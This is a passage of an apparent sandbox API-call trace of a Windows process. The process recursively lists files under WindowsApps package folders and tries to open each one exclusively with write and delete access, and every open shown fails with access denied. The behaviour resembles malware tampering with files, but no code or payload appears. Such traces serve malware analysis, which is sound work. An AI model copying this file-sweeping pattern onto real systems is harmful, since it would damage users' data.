	[0090.274] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491dad8) returned 1
	[0090.274] FindNextFileW (in: hFindFile=0x477a768, lpFindFileData=0x502cbb0 | out: lpFindFileData=0x502cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91e396fc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x91e396fc, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x91e396fc, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x6cce, dwReserved0=0x0, dwReserved1=0x0, cFileName="New_shutter.wav", cAlternateFileName="")) returned 0
	[0090.274] FindClose (in: hFindFile=0x477a768 | out: hFindFile=0x477a768) returned 1
	[0090.274] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502cbb0) returned 1
	[0090.274] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e11b88) returned 1
	[0090.274] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4718280) returned 1
	[0090.274] FindNextFileW (in: hFindFile=0x477ac68, lpFindFileData=0x502c210 | out: lpFindFileData=0x502c210*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91e396fc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1c9ee0f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92141e7c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsIcons", cAlternateFileName="WINDOW~1")) returned 1
	[0090.274] wcscmp (_String1="WindowsIcons", _String2=".") returned 1
	[0090.275] wcscmp (_String1="WindowsIcons", _String2="..") returned 1
	[0090.275] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd4) returned 0x477ef10
	[0090.275] wcscpy (in: _Dest=0x477ef10, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.275] wcscat (in: _Dest=0x477ef10, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.275] wcscat (in: _Dest=0x477ef10, _Source="WindowsIcons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons"
	[0090.275] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x477f610
	[0090.275] wcscpy (in: _Dest=0x477f610, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons"
	[0090.275] wcscat (in: _Dest=0x477f610, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons\\"
	[0090.275] wcscat (in: _Dest=0x477f610, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons\\*"
	[0090.275] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502c478
	[0090.275] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons\\*", lpFindFileData=0x502c478 | out: lpFindFileData=0x502c478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91e396fc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1c9ee0f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92141e7c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a768
	[0090.280] wcscmp (_String1=".", _String2=".") returned 0
	[0090.280] FindNextFileW (in: hFindFile=0x477a768, lpFindFileData=0x502c478 | out: lpFindFileData=0x502c478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91e396fc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1c9ee0f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92141e7c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.283] wcscmp (_String1="..", _String2=".") returned 1
	[0090.283] wcscmp (_String1="..", _String2="..") returned 0
	[0090.283] FindNextFileW (in: hFindFile=0x477a768, lpFindFileData=0x502c478 | out: lpFindFileData=0x502c478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91e396fc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x91e396fc, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x91e396fc, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xba, dwReserved0=0x0, dwReserved1=0x0, cFileName="StoreLogo.contrast-black_scale-100.png", cAlternateFileName="")) returned 1
	[0090.283] wcscmp (_String1="StoreLogo.contrast-black_scale-100.png", _String2=".") returned 1
	[0090.283] wcscmp (_String1="StoreLogo.contrast-black_scale-100.png", _String2="..") returned 1
	[0090.283] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x122) returned 0x2d7c580
	[0090.283] wcscpy (in: _Dest=0x2d7c580, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons"
	[0090.283] wcscat (in: _Dest=0x2d7c580, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons\\"
	[0090.283] wcscat (in: _Dest=0x2d7c580, _Source="StoreLogo.contrast-black_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons\\StoreLogo.contrast-black_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons\\StoreLogo.contrast-black_scale-100.png"
	[0090.283] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons\\StoreLogo.contrast-black_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\assets\\windowsicons\\storelogo.contrast-black_scale-100.png")) returned 0x20
	[0090.286] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons\\StoreLogo.contrast-black_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.286] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons\\StoreLogo.contrast-black_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\assets\\windowsicons\\storelogo.contrast-black_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.286] GetLastError () returned 0x5
	[0090.286] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons\\StoreLogo.contrast-black_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.286] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7c580) returned 1
	[0090.286] FindNextFileW (in: hFindFile=0x477a768, lpFindFileData=0x502c478 | out: lpFindFileData=0x502c478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91e396fc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x91e396fc, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x91e396fc, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="StoreLogo.contrast-white_scale-100.png", cAlternateFileName="")) returned 1
	[0090.286] wcscmp (_String1="StoreLogo.contrast-white_scale-100.png", _String2=".") returned 1
	[0090.286] wcscmp (_String1="StoreLogo.contrast-white_scale-100.png", _String2="..") returned 1
	[0090.286] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x122) returned 0x2d7c580
	[0090.286] wcscpy (in: _Dest=0x2d7c580, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons"
	[0090.286] wcscat (in: _Dest=0x2d7c580, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons\\"
	[0090.286] wcscat (in: _Dest=0x2d7c580, _Source="StoreLogo.contrast-white_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons\\StoreLogo.contrast-white_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons\\StoreLogo.contrast-white_scale-100.png"
	[0090.287] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons\\StoreLogo.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\assets\\windowsicons\\storelogo.contrast-white_scale-100.png")) returned 0x20
	[0090.289] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons\\StoreLogo.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.289] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons\\StoreLogo.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\assets\\windowsicons\\storelogo.contrast-white_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.289] GetLastError () returned 0x5
	[0090.289] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons\\StoreLogo.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.289] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7c580) returned 1
	[0090.289] FindNextFileW (in: hFindFile=0x477a768, lpFindFileData=0x502c478 | out: lpFindFileData=0x502c478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91e396fc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x91e5f955, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x91e5f955, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xba, dwReserved0=0x0, dwReserved1=0x0, cFileName="StoreLogo.scale-100.png", cAlternateFileName="")) returned 1
	[0090.289] wcscmp (_String1="StoreLogo.scale-100.png", _String2=".") returned 1
	[0090.289] wcscmp (_String1="StoreLogo.scale-100.png", _String2="..") returned 1
	[0090.289] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x104) returned 0x4716d10
	[0090.289] wcscpy (in: _Dest=0x4716d10, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons"
	[0090.289] wcscat (in: _Dest=0x4716d10, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons\\"
	[0090.289] wcscat (in: _Dest=0x4716d10, _Source="StoreLogo.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons\\StoreLogo.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons\\StoreLogo.scale-100.png"
	[0090.289] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons\\StoreLogo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\assets\\windowsicons\\storelogo.scale-100.png")) returned 0x20
	[0090.292] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons\\StoreLogo.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.292] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons\\StoreLogo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\assets\\windowsicons\\storelogo.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.293] GetLastError () returned 0x5
	[0090.293] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons\\StoreLogo.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.293] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4716d10) returned 1
	[0090.293] FindNextFileW (in: hFindFile=0x477a768, lpFindFileData=0x502c478 | out: lpFindFileData=0x502c478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91e5f955, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x91e5f955, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x91e5f955, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsCameraAppList.contrast-black_scale-100.png", cAlternateFileName="")) returned 1
	[0090.293] wcscmp (_String1="WindowsCameraAppList.contrast-black_scale-100.png", _String2=".") returned 1
	[0090.293] wcscmp (_String1="WindowsCameraAppList.contrast-black_scale-100.png", _String2="..") returned 1
	[0090.293] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x138) returned 0x481e2c0
	[0090.293] wcscpy (in: _Dest=0x481e2c0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons"
	[0090.293] wcscat (in: _Dest=0x481e2c0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons\\"
	[0090.293] wcscat (in: _Dest=0x481e2c0, _Source="WindowsCameraAppList.contrast-black_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraAppList.contrast-black_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraAppList.contrast-black_scale-100.png"
	[0090.293] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraAppList.contrast-black_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\assets\\windowsicons\\windowscameraapplist.contrast-black_scale-100.png")) returned 0x20
	[0090.295] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraAppList.contrast-black_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.296] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraAppList.contrast-black_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\assets\\windowsicons\\windowscameraapplist.contrast-black_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.296] GetLastError () returned 0x5
	[0090.296] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraAppList.contrast-black_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.296] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481e2c0) returned 1
	[0090.296] FindNextFileW (in: hFindFile=0x477a768, lpFindFileData=0x502c478 | out: lpFindFileData=0x502c478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91e5f955, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x91e5f955, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x91e5f955, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x88, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsCameraAppList.contrast-black_targetsize-16.png", cAlternateFileName="")) returned 1
	[0090.296] wcscmp (_String1="WindowsCameraAppList.contrast-black_targetsize-16.png", _String2=".") returned 1
	[0090.296] wcscmp (_String1="WindowsCameraAppList.contrast-black_targetsize-16.png", _String2="..") returned 1
	[0090.296] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x140) returned 0x2d7c580
	[0090.296] wcscpy (in: _Dest=0x2d7c580, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons"
	[0090.296] wcscat (in: _Dest=0x2d7c580, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons\\"
	[0090.296] wcscat (in: _Dest=0x2d7c580, _Source="WindowsCameraAppList.contrast-black_targetsize-16.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraAppList.contrast-black_targetsize-16.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraAppList.contrast-black_targetsize-16.png"
	[0090.296] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraAppList.contrast-black_targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\assets\\windowsicons\\windowscameraapplist.contrast-black_targetsize-16.png")) 

Thread:
	id = 1034
	os_tid = 0x1c98

	[0082.658] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x46a6100
	[0082.658] wcscpy (in: _Dest=0x46a6100, _Source="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe"
	[0082.658] wcscat (in: _Dest=0x46a6100, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\"
	[0082.658] wcscat (in: _Dest=0x46a6100, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\*"
	[0082.668] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502b3a0
	[0082.668] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x502b3a0 | out: lpFindFileData=0x502b3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182554a4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xf78f971b, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf78f971b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a83d8
	[0082.668] wcscmp (_String1=".", _String2=".") returned 0
	[0082.668] FindNextFileW (in: hFindFile=0x46a83d8, lpFindFileData=0x502b3a0 | out: lpFindFileData=0x502b3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182554a4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xf78f971b, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf78f971b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.672] wcscmp (_String1="..", _String2=".") returned 1
	[0082.672] wcscmp (_String1="..", _String2="..") returned 0
	[0082.672] FindNextFileW (in: hFindFile=0x46a83d8, lpFindFileData=0x502b3a0 | out: lpFindFileData=0x502b3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x182c7baf, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x18314067, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x18314067, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x659ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.672] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.672] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.672] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x2d89d28
	[0082.672] wcscpy (in: _Dest=0x2d89d28, _Source="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe"
	[0082.672] wcscat (in: _Dest=0x2d89d28, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\"
